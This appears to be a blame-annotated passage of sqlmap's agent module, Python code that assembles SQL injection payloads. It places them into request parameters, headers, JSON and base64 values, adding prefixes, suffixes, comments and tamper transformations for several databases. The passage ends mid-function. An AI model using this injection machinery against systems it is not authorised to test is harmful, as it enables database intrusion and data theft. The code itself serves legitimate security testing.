2019-05-08 13:47:52 +03:00
#!/usr/bin/env python
2008-10-15 19:38:22 +04:00
"""
2023-01-03 01:24:59 +03:00
Copyright ( c ) 2006 - 2023 sqlmap developers ( https : / / sqlmap . org / )
2017-10-11 15:50:46 +03:00
See the file ' LICENSE ' for copying permission
2008-10-15 19:38:22 +04:00
"""
import re
2011-01-28 19:36:09 +03:00
from lib . core . common import Backend
2012-04-17 18:23:00 +04:00
from lib . core . common import extractRegexResult
2019-03-29 04:28:16 +03:00
from lib . core . common import filterNone
2012-07-10 03:19:32 +04:00
from lib . core . common import getSQLSnippet
2019-07-01 11:43:05 +03:00
from lib . core . common import getTechnique
2019-07-18 12:27:00 +03:00
from lib . core . common import getTechniqueData
2020-01-21 01:11:37 +03:00
from lib . core . common import hashDBRetrieve
2010-12-10 14:32:46 +03:00
from lib . core . common import isDBMSVersionAtLeast
2012-10-04 20:01:42 +04:00
from lib . core . common import isNumber
2010-12-15 15:50:56 +03:00
from lib . core . common import isTechniqueAvailable
2008-10-15 19:38:22 +04:00
from lib . core . common import randomInt
from lib . core . common import randomStr
2013-01-15 19:05:33 +04:00
from lib . core . common import safeSQLIdentificatorNaming
2016-03-08 16:35:16 +03:00
from lib . core . common import safeStringFormat
2012-02-21 15:44:48 +04:00
from lib . core . common import singleTimeWarnMessage
2013-01-22 18:51:06 +04:00
from lib . core . common import splitFields
2013-01-21 19:15:38 +04:00
from lib . core . common import unArrayizeValue
2014-09-12 15:29:30 +04:00
from lib . core . common import urlencode
2013-01-21 19:15:38 +04:00
from lib . core . common import zeroDepthSearch
2019-03-28 18:04:38 +03:00
from lib . core . compat import xrange
2019-09-16 11:08:10 +03:00
from lib . core . convert import encodeBase64
2019-05-06 01:54:21 +03:00
from lib . core . convert import getUnicode
2008-10-15 19:38:22 +04:00
from lib . core . data import conf
from lib . core . data import kb
from lib . core . data import queries
2013-01-15 19:05:33 +04:00
from lib . core . dicts import DUMP_DATA_PREPROCESS
2012-08-21 13:19:15 +04:00
from lib . core . dicts import FROM_DUMMY_TABLE
2010-11-08 12:20:02 +03:00
from lib . core . enums import DBMS
2020-01-21 01:11:37 +03:00
from lib . core . enums import FORK
from lib . core . enums import HASHDB_KEYS
2015-04-22 11:28:16 +03:00
from lib . core . enums import HTTP_HEADER
2010-12-08 16:09:27 +03:00
from lib . core . enums import PAYLOAD
2010-11-08 12:20:02 +03:00
from lib . core . enums import PLACE
2012-10-04 18:08:37 +04:00
from lib . core . enums import POST_HINT
2012-12-06 17:14:19 +04:00
from lib . core . exception import SqlmapNoneDataException
2020-09-04 14:16:50 +03:00
from lib . core . settings import BOUNDED_BASE64_MARKER
2015-06-16 23:20:21 +03:00
from lib . core . settings import BOUNDARY_BACKSLASH_MARKER
2016-04-29 15:19:32 +03:00
from lib . core . settings import BOUNDED_INJECTION_MARKER
2023-09-04 19:34:21 +03:00
from lib . core . settings import CUSTOM_INJECTION_MARK_CHAR
2014-10-09 16:39:54 +04:00
from lib . core . settings import DEFAULT_COOKIE_DELIMITER
from lib . core . settings import DEFAULT_GET_POST_DELIMITER
2012-05-09 13:08:23 +04:00
from lib . core . settings import GENERIC_SQL_COMMENT
2020-01-23 01:41:06 +03:00
from lib . core . settings import GENERIC_SQL_COMMENT_MARKER
2017-10-31 13:05:25 +03:00
from lib . core . settings import INFERENCE_MARKER
2016-04-04 14:50:10 +03:00
from lib . core . settings import NULL
2010-10-29 20:11:50 +04:00
from lib . core . settings import PAYLOAD_DELIMITER
2013-02-13 15:24:42 +04:00
from lib . core . settings import REPLACEMENT_MARKER
2018-10-16 13:23:07 +03:00
from lib . core . settings import SINGLE_QUOTE_MARKER
2016-09-27 11:32:22 +03:00
from lib . core . settings import SLEEP_TIME_MARKER
2019-09-16 20:29:38 +03:00
from lib . core . settings import UNICODE_ENCODING
2011-02-06 18:53:43 +03:00
from lib . core . unescaper import unescaper
2019-08-22 11:43:38 +03:00
from thirdparty import six
2008-10-15 19:38:22 +04:00
2012-12-06 13:42:53 +04:00
class Agent ( object ) :
2008-10-15 19:38:22 +04:00
"""
This class defines the SQL agent methods .
"""
2010-03-27 02:23:25 +03:00
def payloadDirect ( self , query ) :
2013-04-15 17:23:45 +04:00
query = self . cleanupPayload ( query )
2014-04-03 11:05:12 +04:00
if query . upper ( ) . startswith ( " AND " ) :
query = re . sub ( r " (?i)AND " , " SELECT " , query , 1 )
elif query . upper ( ) . startswith ( " UNION ALL " ) :
query = re . sub ( r " (?i) UNION ALL " , " " , query , 1 )
2010-03-27 02:23:25 +03:00
elif query . startswith ( " ; " ) :
2010-03-30 15:52:45 +04:00
query = query . replace ( " ; " , " " , 1 )
2010-03-27 02:23:25 +03:00
2012-11-28 20:00:26 +04:00
if Backend . getIdentifiedDbms ( ) in ( DBMS . ORACLE , ) : # non-standard object(s) make problems to a database connector while returned (e.g. XMLTYPE)
_ , _ , _ , _ , _ , _ , fieldsToCastStr , _ = self . getFields ( query )
2017-04-18 16:56:24 +03:00
for field in fieldsToCastStr . split ( ' , ' ) :
2012-11-28 20:00:26 +04:00
query = query . replace ( field , self . nullAndCastField ( field ) )
2010-10-31 17:22:32 +03:00
if kb . tamperFunctions :
for function in kb . tamperFunctions :
2012-10-25 12:10:23 +04:00
query = function ( payload = query )
2010-10-31 17:22:32 +03:00
2010-03-27 02:23:25 +03:00
return query
2015-07-05 02:47:01 +03:00
def payload ( self , place = None , parameter = None , value = None , newValue = None , where = None ) :
2008-10-15 19:38:22 +04:00
"""
This method replaces the affected parameter with the SQL
injection statement to request
"""
2010-03-27 02:23:25 +03:00
if conf . direct :
return self . payloadDirect ( newValue )
2012-05-10 18:15:17 +04:00
retVal = " "
2008-10-15 19:38:22 +04:00
2015-07-26 18:02:46 +03:00
if kb . forceWhere :
where = kb . forceWhere
2019-07-01 11:43:05 +03:00
elif where is None and isTechniqueAvailable ( getTechnique ( ) ) :
2019-07-18 12:27:00 +03:00
where = getTechniqueData ( ) . where
2011-01-12 01:18:47 +03:00
if kb . injection . place is not None :
place = kb . injection . place
2008-12-03 00:56:23 +03:00
2011-01-12 01:18:47 +03:00
if kb . injection . parameter is not None :
parameter = kb . injection . parameter
2010-12-03 13:44:16 +03:00
2011-01-12 15:03:23 +03:00
paramString = conf . parameters [ place ]
paramDict = conf . paramDict [ place ]
2014-11-25 15:54:26 +03:00
origValue = getUnicode ( paramDict [ parameter ] )
2017-12-05 13:33:30 +03:00
newValue = getUnicode ( newValue ) if newValue else newValue
2020-03-16 19:31:37 +03:00
base64Encoding = re . sub ( r " \ (.+ " , " " , parameter ) in conf . base64Parameter
2011-01-12 15:03:23 +03:00
2016-04-29 15:19:32 +03:00
if place == PLACE . URI or BOUNDED_INJECTION_MARKER in origValue :
2012-10-04 17:33:26 +04:00
paramString = origValue
2016-04-29 15:19:32 +03:00
if place == PLACE . URI :
2017-07-20 03:41:47 +03:00
origValue = origValue . split ( kb . customInjectionMark ) [ 0 ]
2016-04-29 15:19:32 +03:00
else :
2019-03-29 04:28:16 +03:00
origValue = filterNone ( re . search ( _ , origValue . split ( BOUNDED_INJECTION_MARKER ) [ 0 ] ) for _ in ( r " \ w+ \ Z " , r " [^ \" ' ><]+ \ Z " , r " [^ ]+ \ Z " ) ) [ 0 ] . group ( 0 )
2011-01-22 19:23:33 +03:00
origValue = origValue [ origValue . rfind ( ' / ' ) + 1 : ]
2019-01-13 14:07:46 +03:00
for char in ( ' ? ' , ' = ' , ' : ' , ' , ' , ' & ' ) :
2011-09-08 15:13:12 +04:00
if char in origValue :
origValue = origValue [ origValue . rfind ( char ) + 1 : ]
2012-04-17 18:23:00 +04:00
elif place == PLACE . CUSTOM_POST :
2012-10-04 17:33:26 +04:00
paramString = origValue
2017-07-20 03:41:47 +03:00
origValue = origValue . split ( kb . customInjectionMark ) [ 0 ]
2013-02-14 22:53:12 +04:00
if kb . postHint in ( POST_HINT . SOAP , POST_HINT . XML ) :
2019-11-06 13:39:57 +03:00
origValue = re . split ( r " [ ' \" >] " , origValue ) [ - 1 ]
2014-10-22 12:38:49 +04:00
elif kb . postHint in ( POST_HINT . JSON , POST_HINT . JSON_LIKE ) :
2022-03-08 02:51:14 +03:00
match = re . search ( r " [ ' \" ] " , origValue )
quote = match . group ( 0 ) if match else ' " '
origValue = extractRegexResult ( r " %s \ s*: \ s*(?P<result> \ d+) \ Z " % quote , origValue ) or extractRegexResult ( r " (?P<result>[^ %s ]*) \ Z " % quote , origValue )
2013-02-14 22:53:12 +04:00
else :
2014-04-10 22:55:13 +04:00
_ = extractRegexResult ( r " (?s)(?P<result>[^ \ s<> {} (); ' \" &]+ \ Z) " , origValue ) or " "
2022-06-16 12:22:44 +03:00
origValue = _ . split ( ' = ' , 1 ) [ 1 ] if ' = ' in _ else _
2013-01-13 19:22:43 +04:00
elif place == PLACE . CUSTOM_HEADER :
paramString = origValue
2016-07-16 23:42:15 +03:00
origValue = origValue [ origValue . find ( ' , ' ) + 1 : ]
2018-03-08 03:21:34 +03:00
origValue = origValue . split ( kb . customInjectionMark ) [ 0 ]
2017-09-18 00:56:48 +03:00
match = re . search ( r " ([^;]+)=(?P<value>[^;]*);? \ Z " , origValue )
2014-09-20 12:20:57 +04:00
if match :
origValue = match . group ( " value " )
2015-04-22 11:28:16 +03:00
elif ' , ' in paramString :
header = paramString . split ( ' , ' ) [ 0 ]
if header . upper ( ) == HTTP_HEADER . AUTHORIZATION . upper ( ) :
2015-04-22 11:33:22 +03:00
origValue = origValue . split ( ' ' ) [ - 1 ] . split ( ' : ' ) [ - 1 ]
2011-01-22 19:23:33 +03:00
2017-07-26 01:54:29 +03:00
origValue = origValue or " "
2011-01-12 15:03:23 +03:00
if value is None :
2016-02-05 13:53:24 +03:00
if where == PAYLOAD . WHERE . ORIGINAL :
2011-01-12 15:03:23 +03:00
value = origValue
2011-02-02 16:34:09 +03:00
elif where == PAYLOAD . WHERE . NEGATIVE :
2012-04-26 00:29:07 +04:00
if conf . invalidLogical :
2017-10-31 13:38:09 +03:00
match = re . search ( r " \ A[^ ]+ " , newValue )
2012-04-26 00:29:07 +04:00
newValue = newValue [ len ( match . group ( ) if match else " " ) : ]
2013-03-01 15:04:49 +04:00
_ = randomInt ( 2 )
2018-06-07 01:37:22 +03:00
value = " %s %s AND %s LIKE %s " % ( origValue , match . group ( ) if match else " " , _ , _ + 1 )
2012-04-26 00:29:07 +04:00
elif conf . invalidBignum :
2014-01-23 12:07:25 +04:00
value = randomInt ( 6 )
2014-01-24 00:56:06 +04:00
elif conf . invalidString :
value = randomStr ( 6 )
2012-04-26 00:29:07 +04:00
else :
2011-10-24 04:40:06 +04:00
if newValue . startswith ( " - " ) :
value = " "
else :
value = " - %s " % randomInt ( )
2011-02-02 16:34:09 +03:00
elif where == PAYLOAD . WHERE . REPLACE :
2011-01-12 15:03:23 +03:00
value = " "
else :
value = origValue
2010-06-30 01:07:23 +04:00
2011-01-12 15:03:23 +03:00
newValue = " %s %s " % ( value , newValue )
2010-06-30 01:07:23 +04:00
2020-06-14 23:01:49 +03:00
newValue = self . cleanupPayload ( newValue , origValue ) or " "
2010-06-30 01:07:23 +04:00
2020-03-16 19:31:37 +03:00
if base64Encoding :
_newValue = newValue
_origValue = origValue
2020-05-21 23:32:16 +03:00
if newValue :
newValue = newValue . replace ( BOUNDARY_BACKSLASH_MARKER , ' \\ ' )
newValue = self . adjustLateValues ( newValue )
2023-08-19 11:02:29 +03:00
# NOTE: https://github.com/sqlmapproject/sqlmap/issues/5488
if kb . customInjectionMark in origValue :
payload = newValue . replace ( origValue , " " )
newValue = origValue . replace ( kb . customInjectionMark , payload )
2019-04-17 15:22:36 +03:00
# TODO: support for POST_HINT
2020-09-04 14:16:50 +03:00
newValue = " %s %s %s " % ( BOUNDED_BASE64_MARKER , newValue , BOUNDED_BASE64_MARKER )
2020-08-10 23:26:03 +03:00
if parameter in kb . base64Originals :
origValue = kb . base64Originals [ parameter ]
else :
origValue = encodeBase64 ( origValue , binary = False , encoding = conf . encoding or UNICODE_ENCODING )
2019-04-17 15:22:36 +03:00
2013-01-13 19:22:43 +04:00
if place in ( PLACE . URI , PLACE . CUSTOM_POST , PLACE . CUSTOM_HEADER ) :
2017-07-20 03:41:47 +03:00
_ = " %s %s " % ( origValue , kb . customInjectionMark )
2019-10-15 02:04:45 +03:00
2022-07-27 23:42:35 +03:00
if kb . postHint == POST_HINT . JSON and isNumber ( origValue ) and not isNumber ( newValue ) and ' " %s " ' % _ not in paramString :
2019-10-15 02:04:45 +03:00
newValue = ' " %s " ' % self . addPayloadDelimiters ( newValue )
2022-07-27 23:42:35 +03:00
elif kb . postHint == POST_HINT . JSON_LIKE and isNumber ( origValue ) and not isNumber ( newValue ) and re . search ( r " [ ' \" ] %s [ ' \" ] " % re . escape ( _ ) , paramString ) is None :
2019-10-15 02:04:45 +03:00
newValue = " ' %s ' " % self . addPayloadDelimiters ( newValue )
else :
newValue = self . addPayloadDelimiters ( newValue )
2020-01-24 14:38:25 +03:00
if newValue :
newValue = newValue . replace ( kb . customInjectionMark , REPLACEMENT_MARKER )
retVal = paramString . replace ( _ , newValue )
2017-07-20 03:41:47 +03:00
retVal = retVal . replace ( kb . customInjectionMark , " " ) . replace ( REPLACEMENT_MARKER , kb . customInjectionMark )
2016-04-29 15:19:32 +03:00
elif BOUNDED_INJECTION_MARKER in paramDict [ parameter ] :
2020-03-16 19:31:37 +03:00
if base64Encoding :
retVal = paramString . replace ( " %s %s " % ( _origValue , BOUNDED_INJECTION_MARKER ) , _newValue )
match = re . search ( r " ( %s )=([^&]*) " % re . sub ( r " \ (.+ " , " " , parameter ) , retVal )
if match :
retVal = retVal . replace ( match . group ( 0 ) , " %s = %s " % ( match . group ( 1 ) , encodeBase64 ( match . group ( 2 ) , binary = False , encoding = conf . encoding or UNICODE_ENCODING ) ) )
else :
retVal = paramString . replace ( " %s %s " % ( origValue , BOUNDED_INJECTION_MARKER ) , self . addPayloadDelimiters ( newValue ) )
2012-07-26 14:26:57 +04:00
elif place in ( PLACE . USER_AGENT , PLACE . REFERER , PLACE . HOST ) :
2012-05-10 18:15:17 +04:00
retVal = paramString . replace ( origValue , self . addPayloadDelimiters ( newValue ) )
2011-01-12 15:03:23 +03:00
else :
2014-11-24 13:54:04 +03:00
def _ ( pattern , repl , string ) :
retVal = string
match = None
2023-06-26 17:37:58 +03:00
for match in re . finditer ( pattern , string or " " ) :
2014-11-24 13:54:04 +03:00
pass
2014-12-20 02:23:31 +03:00
2014-11-24 13:54:04 +03:00
if match :
while True :
_ = re . search ( r " \\ g<([^>]+)> " , repl )
if _ :
2015-06-26 11:11:34 +03:00
try :
repl = repl . replace ( _ . group ( 0 ) , match . group ( int ( _ . group ( 1 ) ) if _ . group ( 1 ) . isdigit ( ) else _ . group ( 1 ) ) )
except IndexError :
break
2014-11-24 13:54:04 +03:00
else :
break
retVal = string [ : match . start ( ) ] + repl + string [ match . end ( ) : ]
return retVal
2014-10-09 16:39:54 +04:00
if origValue :
2014-12-20 02:23:31 +03:00
regex = r " ( \ A| \ b) %s = %s %s " % ( re . escape ( parameter ) , re . escape ( origValue ) , r " ( \ Z| \ b) " if origValue [ - 1 ] . isalnum ( ) else " " )
2015-10-15 17:00:59 +03:00
retVal = _ ( regex , " %s = %s " % ( parameter , self . addPayloadDelimiters ( newValue ) ) , paramString )
2014-10-09 16:39:54 +04:00
else :
2018-06-10 00:38:00 +03:00
retVal = _ ( r " ( \ A| \ b) %s = %s ( \ Z| %s | %s | \ s) " % ( re . escape ( parameter ) , re . escape ( origValue ) , DEFAULT_GET_POST_DELIMITER , DEFAULT_COOKIE_DELIMITER ) , r " %s = %s \ g<2> " % ( parameter , self . addPayloadDelimiters ( newValue ) ) , paramString )
2015-06-26 11:11:34 +03:00
2014-09-12 15:29:30 +04:00
if retVal == paramString and urlencode ( parameter ) != parameter :
2015-10-15 17:00:59 +03:00
retVal = _ ( r " ( \ A| \ b) %s = %s " % ( re . escape ( urlencode ( parameter ) ) , re . escape ( origValue ) ) , " %s = %s " % ( urlencode ( parameter ) , self . addPayloadDelimiters ( newValue ) ) , paramString )
2011-01-12 15:03:23 +03:00
2015-06-16 23:20:21 +03:00
if retVal :
retVal = retVal . replace ( BOUNDARY_BACKSLASH_MARKER , ' \\ ' )
2012-05-10 18:15:17 +04:00
return retVal
2008-10-15 19:38:22 +04:00
2011-02-07 01:58:12 +03:00
def prefixQuery ( self , expression , prefix = None , where = None , clause = None ) :
2008-10-15 19:38:22 +04:00
"""
2011-02-07 01:58:12 +03:00
This method defines how the input expression has to be escaped
2008-10-15 19:38:22 +04:00
to perform the injection depending on the injection type
identified as valid
"""
2010-03-27 02:23:25 +03:00
if conf . direct :
2011-02-07 01:58:12 +03:00
return self . payloadDirect ( expression )
2010-03-27 02:23:25 +03:00
2015-06-29 01:20:35 +03:00
if expression is None :
return None
2011-02-07 02:27:56 +03:00
expression = self . cleanupPayload ( expression )
2013-01-18 18:40:37 +04:00
expression = unescaper . escape ( expression )
2010-12-03 14:15:11 +03:00
query = None
2019-07-01 11:43:05 +03:00
if where is None and getTechnique ( ) is not None and getTechnique ( ) in kb . injection . data :
2019-07-18 12:27:00 +03:00
where = getTechniqueData ( ) . where
2011-01-24 15:25:45 +03:00
# If we are replacing (<where>) the parameter original value with
# our payload do not prepend with the prefix
2019-12-09 13:31:07 +03:00
if where == PAYLOAD . WHERE . REPLACE and not conf . prefix : # Note: https://github.com/sqlmapproject/sqlmap/issues/4030
2011-01-24 15:25:45 +03:00
query = " "
# If the technique is stacked queries (<stype>) do not put a space
# after the prefix or it is in GROUP BY / ORDER BY (<clause>)
2019-07-01 11:43:05 +03:00
elif getTechnique ( ) == PAYLOAD . TECHNIQUE . STACKED :
2010-12-03 13:44:16 +03:00
query = kb . injection . prefix
2013-01-10 14:54:07 +04:00
elif kb . injection . clause == [ 2 , 3 ] or kb . injection . clause == [ 2 ] or kb . injection . clause == [ 3 ] :
2011-01-12 01:18:47 +03:00
query = kb . injection . prefix
2013-01-10 14:54:07 +04:00
elif clause == [ 2 , 3 ] or clause == [ 2 ] or clause == [ 3 ] :
2011-01-24 15:25:45 +03:00
query = prefix
2010-12-03 14:15:11 +03:00
2011-01-24 15:25:45 +03:00
# In any other case prepend with the full prefix
else :
query = kb . injection . prefix or prefix or " "
2011-01-16 22:25:10 +03:00
2018-10-12 01:16:42 +03:00
if " SELECT ' [RANDSTR] ' " in query : # escaping of pre-WHERE prefixes
query = query . replace ( " ' [RANDSTR] ' " , unescaper . escape ( randomStr ( ) , quote = False ) )
2014-04-10 23:29:59 +04:00
if not ( expression and expression [ 0 ] == ' ; ' ) and not ( query and query [ - 1 ] in ( ' ( ' , ' ) ' ) and expression and expression [ 0 ] in ( ' ( ' , ' ) ' ) ) and not ( query and query [ - 1 ] == ' ( ' ) :
2011-01-16 22:25:10 +03:00
query + = " "
2010-12-03 13:44:16 +03:00
2015-06-26 11:30:53 +03:00
query = " %s %s " % ( ( query or " " ) . replace ( ' \\ ' , BOUNDARY_BACKSLASH_MARKER ) , expression )
2008-10-15 19:38:22 +04:00
2010-10-15 16:52:33 +04:00
return query
2008-10-15 19:38:22 +04:00
2019-06-03 15:21:26 +03:00
def suffixQuery ( self , expression , comment = None , suffix = None , where = None , trimEmpty = True ) :
2008-10-15 19:38:22 +04:00
"""
This method appends the DBMS comment to the
SQL injection request
"""
2010-03-27 02:23:25 +03:00
if conf . direct :
2011-02-07 01:58:12 +03:00
return self . payloadDirect ( expression )
2015-06-29 01:20:35 +03:00
if expression is None :
return None
2011-02-07 02:27:56 +03:00
expression = self . cleanupPayload ( expression )
2010-03-27 02:23:25 +03:00
2012-09-26 13:27:43 +04:00
# Take default values if None
suffix = kb . injection . suffix if kb . injection and suffix is None else suffix
2019-07-01 11:43:05 +03:00
if getTechnique ( ) is not None and getTechnique ( ) in kb . injection . data :
2019-07-18 12:27:00 +03:00
where = getTechniqueData ( ) . where if where is None else where
comment = getTechniqueData ( ) . comment if comment is None else comment
2012-09-25 16:36:15 +04:00
2020-02-02 23:07:53 +03:00
if any ( ( comment or " " ) . startswith ( _ ) for _ in ( " -- " , GENERIC_SQL_COMMENT_MARKER ) ) :
2020-02-03 03:58:12 +03:00
if Backend . getIdentifiedDbms ( ) and not GENERIC_SQL_COMMENT . startswith ( queries [ Backend . getIdentifiedDbms ( ) ] . comment . query ) :
2020-02-02 23:07:53 +03:00
comment = queries [ Backend . getIdentifiedDbms ( ) ] . comment . query
2012-05-09 13:08:23 +04:00
2010-11-28 21:10:54 +03:00
if comment is not None :
2011-02-07 01:58:12 +03:00
expression + = comment
2008-10-15 19:38:22 +04:00
2011-01-24 15:25:45 +03:00
# If we are replacing (<where>) the parameter original value with
# our payload do not append the suffix
2014-04-10 23:09:27 +04:00
if where == PAYLOAD . WHERE . REPLACE and not conf . suffix :
2011-01-24 15:25:45 +03:00
pass
2012-09-26 13:27:43 +04:00
elif suffix and not comment :
2019-05-21 12:01:08 +03:00
if re . search ( r " \ w \ Z " , expression ) and re . search ( r " \ A \ w " , suffix ) :
expression + = " "
2015-06-16 23:20:21 +03:00
expression + = suffix . replace ( ' \\ ' , BOUNDARY_BACKSLASH_MARKER )
2011-01-12 01:18:47 +03:00
2019-06-03 15:21:26 +03:00
return re . sub ( r " ; \ W*; " , " ; " , expression ) if trimEmpty else expression
2008-10-15 19:38:22 +04:00
2011-02-07 02:27:56 +03:00
def cleanupPayload ( self , payload , origValue = None ) :
2019-08-22 11:43:38 +03:00
if not isinstance ( payload , six . string_types ) :
2010-12-01 20:09:52 +03:00
return
2019-04-30 15:13:35 +03:00
replacements = {
" [DELIMITER_START] " : kb . chars . start ,
" [DELIMITER_STOP] " : kb . chars . stop ,
" [AT_REPLACE] " : kb . chars . at ,
" [SPACE_REPLACE] " : kb . chars . space ,
" [DOLLAR_REPLACE] " : kb . chars . dollar ,
" [HASH_REPLACE] " : kb . chars . hash_ ,
" [GENERIC_SQL_COMMENT] " : GENERIC_SQL_COMMENT
}
2019-04-30 14:20:31 +03:00
for value in re . findall ( r " \ [[A-Z_]+ \ ] " , payload ) :
if value in replacements :
payload = payload . replace ( value , replacements [ value ] )
2018-03-13 15:45:42 +03:00
for _ in set ( re . findall ( r " (?i) \ [RANDNUM(?: \ d+)? \ ] " , payload ) ) :
2012-05-22 13:33:22 +04:00
payload = payload . replace ( _ , str ( randomInt ( ) ) )
2018-03-13 15:45:42 +03:00
for _ in set ( re . findall ( r " (?i) \ [RANDSTR(?: \ d+)? \ ] " , payload ) ) :
2012-05-22 13:33:22 +04:00
payload = payload . replace ( _ , randomStr ( ) )
2018-09-05 01:56:39 +03:00
if origValue is not None :
2017-05-01 23:53:12 +03:00
origValue = getUnicode ( origValue )
2019-08-30 15:43:56 +03:00
2018-09-05 01:56:39 +03:00
if " [ORIGVALUE] " in payload :
payload = getUnicode ( payload ) . replace ( " [ORIGVALUE] " , origValue if origValue . isdigit ( ) else unescaper . escape ( " ' %s ' " % origValue ) )
if " [ORIGINAL] " in payload :
payload = getUnicode ( payload ) . replace ( " [ORIGINAL] " , origValue )
2010-12-02 02:32:58 +03:00
2017-10-31 13:05:25 +03:00
if INFERENCE_MARKER in payload :
2011-01-28 19:36:09 +03:00
if Backend . getIdentifiedDbms ( ) is not None :
inference = queries [ Backend . getIdentifiedDbms ( ) ] . inference
2010-12-14 00:34:35 +03:00
2010-12-10 14:32:46 +03:00
if " dbms_version " in inference :
if isDBMSVersionAtLeast ( inference . dbms_version ) :
inferenceQuery = inference . query
else :
inferenceQuery = inference . query2
else :
inferenceQuery = inference . query
2010-12-14 00:34:35 +03:00
2017-10-31 13:05:25 +03:00
payload = payload . replace ( INFERENCE_MARKER , inferenceQuery )
2019-08-30 15:43:56 +03:00
2014-07-20 01:17:23 +04:00
elif not kb . testMode :
2011-01-12 03:47:39 +03:00
errMsg = " invalid usage of inference payload without "
errMsg + = " knowledge of underlying DBMS "
2013-01-04 02:20:55 +04:00
raise SqlmapNoneDataException ( errMsg )
2010-12-03 19:12:47 +03:00
2010-12-01 01:40:25 +03:00
return payload
2012-05-22 13:33:22 +04:00
def adjustLateValues ( self , payload ) :
2012-04-05 16:55:26 +04:00
"""
2012-05-22 13:33:22 +04:00
Returns payload with a replaced late tags ( e . g . SLEEPTIME )
2012-04-05 16:55:26 +04:00
"""
2012-05-22 13:33:22 +04:00
if payload :
2022-03-07 22:25:34 +03:00
for match in re . finditer ( r " (?s) %s (.*?) %s " % ( BOUNDED_BASE64_MARKER , BOUNDED_BASE64_MARKER ) , payload ) :
2020-09-04 14:16:50 +03:00
_ = encodeBase64 ( match . group ( 1 ) , binary = False , encoding = conf . encoding or UNICODE_ENCODING , safe = conf . base64Safe )
payload = payload . replace ( match . group ( 0 ) , _ )
2016-09-27 11:32:22 +03:00
payload = payload . replace ( SLEEP_TIME_MARKER , str ( conf . timeSec ) )
2018-10-16 13:23:07 +03:00
payload = payload . replace ( SINGLE_QUOTE_MARKER , " ' " )
2012-05-22 13:33:22 +04:00
2017-07-06 12:44:18 +03:00
for _ in set ( re . findall ( r " \ [RANDNUM(?: \ d+)? \ ] " , payload , re . I ) ) :
payload = payload . replace ( _ , str ( randomInt ( ) ) )
for _ in set ( re . findall ( r " \ [RANDSTR(?: \ d+)? \ ] " , payload , re . I ) ) :
payload = payload . replace ( _ , randomStr ( ) )
2020-02-03 13:46:03 +03:00
if hashDBRetrieve ( HASHDB_KEYS . DBMS_FORK ) in ( FORK . MEMSQL , FORK . TIDB , FORK . DRIZZLE ) :
2020-01-21 01:11:37 +03:00
payload = re . sub ( r " (?i) \ bORD \ ( " , " ASCII( " , payload )
payload = re . sub ( r " (?i) \ bMID \ ( " , " SUBSTR( " , payload )
payload = re . sub ( r " (?i) \ bNCHAR \ b " , " CHAR " , payload )
2022-04-07 18:12:36 +03:00
# NOTE: https://github.com/sqlmapproject/sqlmap/issues/5057
match = re . search ( r " (=0x)(303a303a)3( \ d { 2,}) " , payload )
if match :
payload = payload . replace ( match . group ( 0 ) , " %s %s %s " % ( match . group ( 1 ) , match . group ( 2 ) . upper ( ) , " " . join ( " 3 %s " % _ for _ in match . group ( 3 ) ) ) )
2012-05-22 13:33:22 +04:00
return payload
2012-04-05 16:55:26 +04:00
2011-12-21 23:40:42 +04:00
def getComment ( self , request ) :
2012-04-02 16:22:40 +04:00
"""
Returns comment form for the given request
"""
2011-12-21 23:40:42 +04:00
return request . comment if " comment " in request else " "
2010-12-01 01:40:25 +03:00
2012-04-02 16:22:40 +04:00
def hexConvertField ( self , field ) :
"""
Returns hex converted field string
"""
rootQuery = queries [ Backend . getIdentifiedDbms ( ) ]
hexField = field
2020-05-11 12:31:36 +03:00
if " hex " in rootQuery and hasattr ( rootQuery . hex , " query " ) :
2012-04-02 16:22:40 +04:00
hexField = rootQuery . hex . query % field
else :
2019-08-30 15:43:56 +03:00
warnMsg = " switch ' --hex ' is currently not supported on DBMS ' %s ' " % Backend . getIdentifiedDbms ( )
2012-04-02 16:22:40 +04:00
singleTimeWarnMessage ( warnMsg )
return hexField
2008-10-15 19:38:22 +04:00
def nullAndCastField ( self , field ) :
"""
Take in input a field string and return its processed nulled and
casted field string .
Examples :
MySQL input : VERSION ( )
MySQL output : IFNULL ( CAST ( VERSION ( ) AS CHAR ( 10000 ) ) , ' ' )
MySQL scope : VERSION ( )
PostgreSQL input : VERSION ( )
PostgreSQL output : COALESCE ( CAST ( VERSION ( ) AS CHARACTER ( 10000 ) ) , ' ' )
PostgreSQL scope : VERSION ( )
Oracle input : banner
Oracle output : NVL ( CAST ( banner AS VARCHAR ( 4000 ) ) , ' ' )
Oracle scope : SELECT banner FROM v $ version WHERE ROWNUM = 1
Microsoft SQL Server input : @ @VERSION
Microsoft SQL Server output : ISNULL ( CAST ( @ @VERSION AS VARCHAR ( 8000 ) ) , ' ' )
Microsoft SQL Server scope : @ @VERSION
@param field : field string to be processed
@type field : C { str }
@return : field string nulled and casted
@rtype : C { str }
"""
2020-11-05 13:20:51 +03:00
match = re . search ( r " (?i)(.+)( AS \ w+) \ Z " , field )
if match :
field , suffix = match . groups ( )
else :
suffix = " "
2012-10-23 15:58:25 +04:00
nulledCastedField = field
2012-03-08 19:04:52 +04:00
2020-02-07 16:02:45 +03:00
if field and Backend . getIdentifiedDbms ( ) :
2012-10-23 15:58:25 +04:00
rootQuery = queries [ Backend . getIdentifiedDbms ( ) ]
2023-08-19 10:41:24 +03:00
if field . startswith ( " (CASE " ) or field . startswith ( " (IIF " ) or conf . noCast and not ( field . startswith ( " COUNT( " ) and Backend . getIdentifiedDbms ( ) == DBMS . MSSQL ) :
2012-10-23 15:58:25 +04:00
nulledCastedField = field
2010-11-05 02:08:59 +03:00
else :
2013-01-21 18:04:27 +04:00
if not ( Backend . isDbms ( DBMS . SQLITE ) and not isDBMSVersionAtLeast ( ' 3 ' ) ) :
2015-11-16 18:59:54 +03:00
nulledCastedField = rootQuery . cast . query % field
2021-01-11 19:36:23 +03:00
2021-02-19 13:07:13 +03:00
if re . search ( r " COUNT \ ( " , field ) and Backend . getIdentifiedDbms ( ) in ( DBMS . RAIMA , ) :
2021-01-11 19:36:23 +03:00
pass
elif Backend . getIdentifiedDbms ( ) in ( DBMS . ACCESS , DBMS . MCKOI ) :
2012-10-23 15:58:25 +04:00
nulledCastedField = rootQuery . isnull . query % ( nulledCastedField , nulledCastedField )
else :
nulledCastedField = rootQuery . isnull . query % nulledCastedField
2012-02-21 15:44:48 +04:00
2019-11-17 02:52:04 +03:00
kb . binaryField = conf . binaryFields and field in conf . binaryFields
2013-12-27 01:27:04 +04:00
if conf . hexConvert or kb . binaryField :
2012-10-23 15:58:25 +04:00
